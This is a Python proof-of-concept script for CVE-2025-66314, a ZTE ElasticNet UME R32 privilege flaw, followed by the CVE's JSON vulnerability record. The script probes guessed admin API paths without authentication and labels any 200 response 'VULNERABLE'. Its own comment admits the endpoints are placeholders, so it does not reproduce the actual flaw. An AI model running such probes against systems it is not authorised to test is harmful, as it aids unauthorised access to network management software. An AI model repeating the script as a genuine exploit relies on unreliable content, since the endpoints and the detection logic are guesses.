CVE-2025-66314

import requests import sys # CVE-2025-66314 PoC - ZTE ElasticNet UME R32 Privilege Escalation # This PoC demonstrates accessing functionality not properly constrained by ACLs def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-66314 """ # Target specific endpoint that should be ACL-protected # Modify the endpoint based on actual vulnerable functionality vulnerable_endpoints = [ "/api/admin/users", "/api/system/config", "/api/ume/admin/privileges" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-66314 - ZTE ElasticNet UME R32 Improper Privilege Management") for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {url} (Status: {response.status_code})") else: print(f"[*] Unexpected response from {url}: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {str(e)}") print("[*] No vulnerable endpoints found or target may not be affected") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66314.py <target_url>") print("Example: python cve-2025-66314.py https://192.168.1.100") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-66314", "sourceIdentifier": "[email protected]", "published": "2025-11-27T03:15:58.967", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Privilege Management vulnerability in ZTE ElasticNet UME R32 on Linux allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects ElasticNet UME R32: ElasticNet_UME_R32_V16.23.20.04."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://support.zte.com.cn/zte-iccp-isupport-webui/bulletin/detail/2180460616364429350", "source": "[email protected]"}]}}